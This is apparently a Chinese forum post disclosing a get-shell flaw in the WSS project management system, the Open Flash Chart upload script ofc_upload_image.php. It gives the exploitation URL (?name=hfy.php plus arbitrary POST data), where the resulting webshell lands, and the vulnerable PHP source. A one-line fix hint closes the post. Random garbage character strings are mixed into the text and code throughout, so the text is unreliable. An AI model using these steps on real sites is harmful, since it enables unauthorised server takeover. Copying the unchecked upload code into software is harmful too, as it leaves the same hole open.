WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
% X3 ^* I6 @! H7 N1 c; L+ ^+ W
! ?/ \- P# n5 {! n. _3 f利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
, G, k8 U! o4 L: y9 e3 A8 D
Post任意数据
/ d/ F' s; i  [4 W( c) @5 y7 w' ^保存位置http://localhost/chart/tmp-upload-images/hfy.php


2 J. Y  G( Z1 @, ^1 J% P, b' Y+ R最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
/ a- |4 f1 ^5 V) }- s3 @4 E; e
6 `( V' r7 e& ]* n; ~$ R! l<?php
0 g+ x- U2 C/ h( ]
//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//
  U! V: e0 T3 V5 K7 d3 _
/*
7 B/ p( I) U  Z& p" ~
print_r( $_GET );
9 O. u  c2 t- |0 U( ]. l+ {5 Xprint_r( $_POST );
print_r( $_FILES );
7 F( ~! V; ^! Y
print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';
3 p( t* x# I  C6 G
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
% C0 f' S( A% i) a0 N
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );

& n/ {) P# n- L, b6 Y( @2 i% B! becho 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
+ Y* ~( f3 e3 m, r: k
3 E, Q  n) ?7 f2 F5 l//
+ L# W3 @8 A8 f% u: w2 u1 e7 n// POST data is usually string data, but we are passing a RAW .png
1 }8 e; H. U% |* A* |+ D* [% R// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//

! b9 f, W0 r6 x  K$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

/ \" K. E, ~% w/ ]; N, M//
// LOOK:
, }5 k4 f3 @8 |4 h  I* t//
exit();
//
// PHP5:
) A9 t% N+ U' n2 W# b//

0 i3 p8 ]- F0 ]. |4 h
4 U+ |) K4 f" _  |+ i( z5 B// default path for the image to be stored //
  H4 e) W: g: L( b3 c- d$default_path = 'tmp-upload-images/';
* N6 @8 a. |' ~3 h& Q2 @
( g. c7 C" j3 n; U6 J% {% `6 ^if (!file_exists($default_path)) mkdir($default_path, 0777, true);

3 ]* \: Z2 M2 e) C4 u1 D; K// full path to the saved image including filename //
8 n, k% ]  t6 d4 _$ U0 W: f% b" h$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
& U& \+ ~7 ~; Q0 i6 c8 S5 w    echo "FILE UPLOAD FAILED";
4 L" i8 Y7 f2 L/ t. w% ?7 s}
4 J+ S: Q$ D& c* l% ~' j

. j( n5 r( R! ]9 Z4 p. E?>
) F1 @' D+ x& G! p/ u9 S# `7 E
. P0 j1 r" V9 e; \/ W3 \. |  k




4 T- z  }- N$ n9 [9 y( Z5 G修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞

$ D% t9 C( T* r9 N' s/ |
- O) I+ d$ F( z- g) u
7 D9 S7 J- P0 Z  v& X
  j' o/ U8 d) C1 U3 e" `1 n